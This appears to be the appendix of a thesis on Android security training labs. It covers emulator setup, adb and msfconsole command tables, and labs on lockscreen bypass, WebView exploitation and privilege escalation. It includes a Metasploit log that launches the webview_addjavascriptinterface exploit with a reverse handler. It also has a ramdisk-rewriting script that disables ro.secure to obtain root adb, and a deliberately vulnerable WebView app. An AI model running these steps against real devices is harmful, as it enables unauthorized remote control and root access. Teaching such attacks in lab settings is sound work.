1 expo r t ANDROID_HOME=~/andro id−sdk− l i n u x
2 expo r t PATH=${PATH} :$ANDROID_HOME/ t o o l s :$ANDROID_HOME/ p la t fo rm−t o o l s

Figure A.2.: ANDROID_HOME and PATH variables.

Once done, you can copy the given pairs of .avd folder and appropriate .ini file into
~/.android/avd. You can now start the AVDs using the command emulator @<AVD
name> in the shell. Using the Android Virtual Device Manager, which is accessible
through the Tools menu of the SDK Manager, will not work properly and is therefore
not recommended. Usually, the lab AVDs are indicated as repairable and you are not able
to start them using the graphical AVD Manager. You should not make use of the offered
"repair" functionality. Otherwise the AVD manager changes the path to the image files
within config.ini and therefore most of the labs may not work anymore. For the same
reason, you should not alter any AVD configuration using the AVD Manager.
Now you have either to install the additional tools recommended in the assignments

or just use your own tools of choice. In order to provide you a quick start, the following
table introduces into adb’s most important parameters. Happy Hacking!
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Table A.1.: Overview of important adb parameters.
Parameter Description
devices Shows all connected Android devices with run-

ning ADBD.
install <apk-file> Installs an .apk file on the Android device.
kill-server Stops the ADB server daemon on the local com-

puter.
pull <remote-src><local-dst> Copies a file from the Android device to the local

computer.
push <local-src><remote-dst> Copies a file from the local computer to the An-

droid device.
shell Opens a remote shell to the Android device on

the local computer.
start-server Starts ADB server daemon on the local com-

puter.
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Lab: Bypass Lockscreen

This lab is separated into two stages.

(a) Stage one. (b) Stage two. (c) Hint for stage two.

Figure A.3.: Bypass the lockscreens.

Goal

The goal of both stages of the lab is to bypass the lockscreen and therefore get access to
the device’s graphical user interface.

Android Virtual Devices

AVD Names: bypassingStageOne.avd & bypassingStageTwo.avd
Android Version: Android Gingerbread (2.3.3)
Architecture: ARM
Build-types: eng (StageOne) & user (StageTwo)

Recommended Tools for Stage One

• Android Debug Bridge (ADB)

• xxd or another hex editor

Recommended Tools for Stage Two

• Android Debug Bridge (ADB)

• xxd or another hex editor

• PHP and MySQL or a scripting language like Python, creativity and a lot of coffee
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Lab: WebView

The Java WebView class allows displaying rendered HTML documents not only in a
browser but also within native Android apps. Through embedding web content within
them, the former native apps become a kind of hybrid because they contain both, com-
ponents of native as well as of web apps. Is the WebView class not integrated properly,
malicious websites loaded within the WebView can access sensitive data of the embedding
app or even system functionality.

Goal

The goal of this network-based labratory is to open a Meterpreter session on the vulner-
able device.

Android Virtual Device

AVD Name: webView.avd
Android Version: Android KitKat (4.1.2)
Architecture: ARM
Build-type: user

Recommended Tools

• Wireshark

• Webserver daemon like Apache or nginx

• Metasploit

Hints

In order to provide you a quick start, the following tables introduce intomsfconsole’s most
important commands as well as the emulator’s network address space. The Metasploit
Framework14 is a tool providing methods to create, configure, and run exploits. A lot of
exploits are already included, but there is also the possibility to extend Metasploit with
additional, even self-written exploiting modules. Metasploit’s most important tool is its
console which can be started using the command msfconsole. Within the console, the
user can search for certain exploits, customise and configure them, add an appropriate
payload, and finally run the exploit. Metasploit also provides the so called Meterpreter.
It is a tool providing a shell-like environment running on the target machine. After
transporting and executing it as payload to the target machine using a dedicated exploit,
the Meterpreter connects to the reverse handler listening on the attacker’s machine and
opens a virtual Meterpreter shell which enables the attacker to control the target machine.

14http://www.metasploit.com/
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Table A.2.: Overview of important msfconsole commands.
Command Description
exploit / run Executes the chosen exploit.
jobs Displays jobs and job IDs.
kill <job ID> Kills a job with appropriate ID.
search <expression to search for> Searches for modules / exploits.
sessions Shows open Meterpreter, VNC, and (reverse)

shell sessions.
sessions -i <session ID> / run Interact with the session with the given ID.
set <exploit option> <value> Sets the given option to the given value.
show options Shows parameters of the selected module / ex-

ploit.
use <path to module / exploit> Selects a certain module / exploit.

Table A.3.: IP addresses of the emulator’s network address space.
Address Description
10.0.2.1 Gateway address.
10.0.2.2 Special alias references to your

host’s loopback interface (usually
127.0.0.1).

10.0.2.3 First Domain Name System (DNS)
server.

10.0.2.<4-6> Optional second, third, and fourth
DNS server.

10.0.2.15 Network interface of the emulated
device.

127.0.0.1 Loopback interface of the emulated
device.
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Lab: Privilege Escalation

This lab is separated into two stages. Android uses a system of so-called properties
which are used as system-wide variables. Common device configurations like the interval
of wifi scans in seconds (wifi.supplicant_scan_interval) or the delay between an incoming
call and the device beginning to ring in milliseconds (ro.telephony.call_ring.delay) are
configured using the Android property system. Furthermore, there are also security-
relevant properties which are very useful in order to solve this lab successfully.

Goal

The goal of this lab is to gain an ADB root shell. In the first stage, you should find and
apply an appropriate exploit. In the second stage, it is allowed to examine and manually
alter the files within the folder privilegeEscalationStageTwo.avd...

Android Virtual Devices

AVD Name: privilegeEscalationStageOne.avd & privilegeEscalationStageTwo.avd
Android Version: Android Froyo (2.2) & Android Gingerbread (2.3.3)
Architecture: ARM
Build-type: user

Recommended Tools for Stage Two

• A Texteditor like vi, nano, or gedit

• The unix tools file, gzip, and cpio

• Android Debug Bridge (ADB)

Hints

The following table provides a brief overview of the files used by the Android emulator.
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Table A.4.: Files used by the Android emulator.
Filename Contains Filetype Mountpoint
cache.img Files cached by system and

apps
YAFFS2 /
EXT3/4

/cache

config.ini information about the AVD it-
self, the emulated hardware,
and the destination of files
used by the emulator.

ASCII Text -

emulator-user.ini Window position of the AVD
/ UUID

ASCII Text -

hardware-
qemu.ini

specified information about
the emulated hardware

ASCII Text -

kernel-qemu the Linux kernel optimized for
Android devices

Linux
kernel
x86/ARM
boot ex-
ecutable
zImage

/sys

ramdisk.img init-binaries and -scripts gzip com-
pressed cpio
archive

/

sdcard.img data on emulated SD card FAT32 im-
age

/sdcard

system.img system binaries YAFFS2
image

/system

userdata.img user- and app-specific data YAFFS2
image

/data

userdata-
qemu.img

user-data of specific user YAFFS2
image

/data
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B. Code Extracts

In the following, the code extracts mentioned in the thesis are listed.
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1 # msf con so l e
2 +−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−+
3 | METASPLOIT by Rapid7 |
4 +−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−+
5 | __________________ | |
6 | ==c (______(o (______(_( ) | | """"""""""""|======[∗∗∗ |
7 | )=\ | | EXPLOIT \ |
8 | // \\ | |_____________\_______ |
9 | // \\ | |==[msf >]============\ |

10 | // \\ | |______________________\ |
11 | // RECON \\ | \(@) (@) (@) (@) (@) (@) (@) / |
12 | // \\ | ∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗∗ |
13 +−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−+
14 | o O o | \ ’\/\/\/ ’/ |
15 | o O | )======( |
16 | o | . ’ LOOT ’ . |
17 | |^^^^^^^^^^^^^^|l___ | / _| |__ \ |
18 | | PAYLOAD | ""\___, | / (_| |_ \ |
19 | |________________|__| )__| | | __| |_) | |
20 | | (@) (@) """ ∗∗ | (@) (@) ∗∗ | (@) | " | | " |
21 | = = = = = = = = = = = = | ’−−−−−−−−−−−−−−’ |
22 +−−−−−−−−−−−−−−−−−−−−−−−−−−−+−−−−−−−−−−−−−−−−−−−−−−−−−−−+
23
24
25 =[ me t a s p l o i t v4 .11.0− dev [ co r e : 4 . 1 1 . 0 . p re . dev ap i : 1 . 0 . 0 ] ]
26 + −− −−=[ 1390 e x p l o i t s − 789 a u x i l i a r y − 226 pos t ]
27 + −− −−=[ 356 pay l oad s − 37 encode r s − 8 nops ]
28 + −− −−=[ Free Me t a s p l o i t Pro t r i a l : h t tp : // r−7. co/ trymsp ]
29
30
31 msf > use e x p l o i t / and ro i d / browse r / web v i ew_add j a v a s c r i p t i n t e r f a c e
32 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > s e t SRVHOST 12 7 . 0 . 0 . 1
33 SRVHOST => 127 . 0 . 0 . 1
34 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > s e t l h o s t 1 0 . 0 . 2 . 2
35 l h o s t => 10 . 0 . 2 . 2
36 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > s e t URIPATH 1337
37 URIPATH => 1337
38 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) > e x p l o i t
39 [ ∗ ] E x p l o i t r unn ing as background job .
40
41 [− ] Hand le r f a i l e d to b ind to 1 0 . 0 . 2 . 2 : 4 4 4 4
42 [ ∗ ] S t a r t e d r e v e r s e h and l e r on 0 . 0 . 0 . 0 : 4 4 4 4
43 [ ∗ ] Us ing URL : h t tp : / / 1 2 7 . 0 . 0 . 1 : 8 0 / Dajn1N
44 [ ∗ ] S e r v e r s t a r t e d .
45 msf e x p l o i t ( w e b v i ew_add j a v a s c r i p t i n t e r f a c e ) >

Listing B.1: Use and configure Metasploit module webview_addjavascriptinterface.
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1 s t a t i c boo l s h ou l d_d r op_p r i v i l e g e s ( ) {
2 #i f d e f i n e d (ALLOW_ADBD_ROOT)
3 char v a l u e [PROPERTY_VALUE_MAX] ;
4 // The emu la to r i s n eve r s ecu r e , so don ’ t drop p r i v i l e g e s t h e r e .
5 // TODO: t h i s seems l i k e a bug −−− shou ldn ’ t the emu la to r behave l i k e←↩

a d e v i c e ?
6 prope r ty_get ( " ro . k e r n e l . qemu" , va lue , "" ) ;
7 i f ( st rcmp ( va lue , "1" ) == 0) {
8 r e t u r n f a l s e ;
9 }

10 // The p r o p e r t i e s t ha t a f f e c t ‘ adb root ‘ and ‘ adb unroot ‘ a r e ro .←↩
s e c u r e and

11 // ro . debuggab le . I n t h i s c on t e x t the names don ’ t make the expec t ed ←↩
beha v i o r p a r t i c u l a r l y obv i ou s .

12 //
13 // ro . debuggab le :
14 // Al lowed to become root , but not n e c e s s a r i l y the d e f a u l t . Set to ←↩

1 on eng and use rdebug b u i l d s .
15 //
16 // ro . s e c u r e :
17 // Drop p r i v i l e g e s by d e f a u l t . Set to 1 on use rdebug and u s e r ←↩

b u i l d s .
18 prope r ty_get ( " ro . s e c u r e " , va lue , "1" ) ;
19 boo l ro_secure = ( strcmp ( va lue , "1" ) == 0) ;
20 prope r ty_get ( " ro . debuggab le " , va lue , "" ) ;
21 boo l ro_debuggable = ( strcmp ( va lue , "1" ) == 0) ;
22 // Drop p r i v i l e g e s i f ro . s e c u r e i s s e t . . .
23 boo l drop = ro_secure ;
24 prope r ty_get ( " s e r v i c e . adb . r o o t " , va lue , "" ) ;
25 boo l adb_root = ( strcmp ( va lue , "1" ) == 0) ;
26 boo l adb_unroot = ( strcmp ( va lue , "0" ) == 0) ;
27 // . . . e x c ep t "adb r oo t " l e t s you keep p r i v i l e g e s i n a debuggab le ←↩

b u i l d .
28 i f ( ro_debuggable && adb_root ) {
29 drop = f a l s e ;
30 }
31 // . . . and "adb unroot " l e t s you e x p l i c i t l y drop p r i v i l e g e s .
32 i f ( adb_unroot ) {
33 drop = t r u e ;
34 }
35 r e t u r n drop ;
36 #e l s e
37 r e t u r n t r u e ; // "adb r oo t " not a l l owed , a lways drop p r i v i l e g e s .
38 #end i f /∗ ALLOW_ADBD_ROOT ∗/
39 }

Listing B.2: Code snippet of the adb_main.cpp responsible for rooted ADB [61].
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1 #!/ b in / bash
2
3
4 # Unpack ramdi sk . img i n f o l d e r unpacked_ramdisk
5 mkdir unpacked_ramdisk
6 cp ramdi sk . img unpacked_ramdisk / ramdi sk . c p i o . gz
7 mv ramdi sk . img ramdi sk . img . o l d
8 cd unpacked_ramdisk
9 g z i p −d ramdi sk . c p i o . gz

10 cp i o − i −F ramdi sk . c p i o
11 mv ramdi sk . c p i o ramdi sk . o l d . c p i o
12
13 echo ’ [+ ] ramdi sk . img s u c c e s s f u l l y unpacked . ’
14
15
16 # De l e t e o l d d e f a u l t . prop and w r i t e new one wi th mod i f i e d p rops
17 rm − r f d e f a u l t . prop
18 cat <<EOF >d e f a u l t . prop
19 ro . s e c u r e=0
20 ro . k e r n e l . qemu=1
21 ro . debuggab le=1
22 p e r s i s t . s e r v i c e . adb . enab le=1
23 EOF
24
25 echo ’ [+ ] d e f a u l t . prop s u c c e s s f u l l y mod i f i e d . ’
26
27
28 # Rebu i l d ramdi sk . img
29 cp i o − i −t −F ramdi sk . o l d . c p i o | c p i o −o −H newc −O . . / ramdi sk . c p i o
30 cd . .
31 g z i p ramdi sk . c p i o
32 rm − r f ramdi sk . o l d . c p i o unpacked_ramdisk
33 mv ramdi sk . c p i o . gz ramdi sk . img
34
35 echo ’ [+ ] ramdi sk . img s u c c e s s f u l l y r e b u i l t . ’

Listing B.3: Bash script rebuilding ramdisk.img.
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1 package net . h e i n l . s t a r t r e q u e s t s ;
2
3 import and ro i d . suppo r t . v7 . app . A c t i o nBa rA c t i v i t y ;
4 import and ro i d . os . Bundle ;
5 import and ro i d . v iew . Menu ;
6 import and ro i d . v iew . MenuItem ;
7 import and ro i d . v iew . View ;
8 import and ro i d . webk i t . WebSett ings ;
9 import and ro i d . webk i t . WebView ;

10 import and ro i d . webk i t . WebViewCl ient ;
11 import and ro i d . w idget . Button ;
12 import j a v a . u t i l . c o n cu r r e n t . Exe cu to r s ;
13 import j a v a . u t i l . c o n cu r r e n t . S ch edu l e dEx e cu t o r S e r v i c e ;
14 import j a v a . u t i l . c o n cu r r e n t . TimeUnit ;
15
16 p ub l i c c l a s s Ma inAc t i v i t y extends Ac t i o nBa rA c t i v i t y {
17
18 p r i v a t e Button b u t t o nK i l l ;
19 S t r i n g u r l = " ht tp : / / 1 0 . 0 . 2 . 2 : 8 0 / 1 3 3 7 " ;
20 i n t s econds = 30 ;
21
22 @Over r ide
23 p ro tec t ed vo id onCreate ( Bundle s a v e d I n s t a n c e S t a t e ) {
24 super . onCreate ( s a v e d I n s t a n c e S t a t e ) ;
25 se tContentV iew (R . l a y o u t . a c t i v i t y_ma in ) ;
26
27 // s t a r t Runnable
28 s t a r tRunnab l e ( ) ;
29
30 // K i l l Button
31 b u t t o nK i l l = ( Button ) f i ndV i ewBy Id (R . i d . b u t t o nK i l l ) ;
32 b u t t o nK i l l . s e tOnC l i c k L i s t e n e r (new View . OnC l i c k L i s t e n e r ( ) {
33 p ub l i c vo i d onC l i c k ( View v ) {
34 f i n i s h ( ) ;
35 System . e x i t ( 0 ) ;
36 }
37 }) ;
38
39 }
40 // SendRequest method which l o a d s s p e c i f i e d URL i n t o the WebView .
41 p ub l i c vo i d sendRequest ( ) {
42
43 WebView webView = (WebView) f i ndV i ewBy Id (R . i d . webview ) ;
44
45
46
47 webView . se tWebViewCl i ent (new WebViewCl ient ( ) {
48 p ub l i c boo lean s h ou l dOv e r r i d eU r l L o ad i n g (WebView view , S t r i n g ←↩

u r l ) {
49 v iew . l o a dU r l ( u r l ) ;
50 r e t u r n f a l s e ;
51 }
52 }) ;
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53
54 WebSett ings webSe t t i ng s = webView . g e t S e t t i n g s ( ) ;
55 webSe t t i ng s . s e t J a v aS c r i p t En ab l e d ( t r ue ) ;
56 webView . l o a dU r l ( u r l ) ;
57 }
58
59 // s t a r tRunnab l e method c r e a t e s th r ead which e x e cu t e s the SendRequest←↩

method e v e r y x seconds ,
60 // Where x i s the i n t e g e r d e c l a r e d to v a r i a b l e s econds .
61 p ub l i c vo i d s t a r tRunnab l e ( ) {
62
63 Runnable r eque s tRunnab l e = new Runnable ( ) {
64 p ub l i c vo i d run ( ) {
65 sendRequest ( ) ;
66 }
67 } ;
68
69 Sch edu l e dEx e cu t o r S e r v i c e e x e cu t o r = Execu to r s .←↩

newScheduledThreadPool (1 ) ;
70 e x e cu t o r . s chedu l eAtF i x edRa t e ( r eques tRunnab l e , 0 , seconds , ←↩

TimeUnit .SECONDS) ;
71 }
72
73 @Over r ide
74 p ub l i c boo lean onCreateOptionsMenu (Menu menu) {
75 // I n f l a t e the menu ; t h i s adds i t ems to the a c t i o n bar i f i t i s ←↩

p r e s e n t .
76 g e tMenu I n f l a t e r ( ) . i n f l a t e (R . menu . menu_main , menu) ;
77 r e t u r n t r ue ;
78 }
79
80 @Over r ide
81 p ub l i c boo lean onOpt i on s I t emSe l e c t ed ( MenuItem item ) {
82 // Handle a c t i o n bar i tem c l i c k s he r e . The a c t i o n bar w i l l
83 // a u t oma t i c a l l y hand l e c l i c k s on the Home/Up button , so l ong
84 // as you s p e c i f y a pa r en t a c t i v i t y i n And ro i dMan i f e s t . xml .
85 i n t i d = item . g e t I t em Id ( ) ;
86
87 // n o i n s p e c t i o n S i m p l i f i a b l e I f S t a t e m e n t
88 i f ( i d == R. i d . a c t i o n_ s e t t i n g s ) {
89 r e t u r n t r ue ;
90 }
91
92 r e t u r n super . o nOpt i on s I t emSe l e c t ed ( i tem ) ;
93 }
94 }

Listing B.4: Java class MainActivity.
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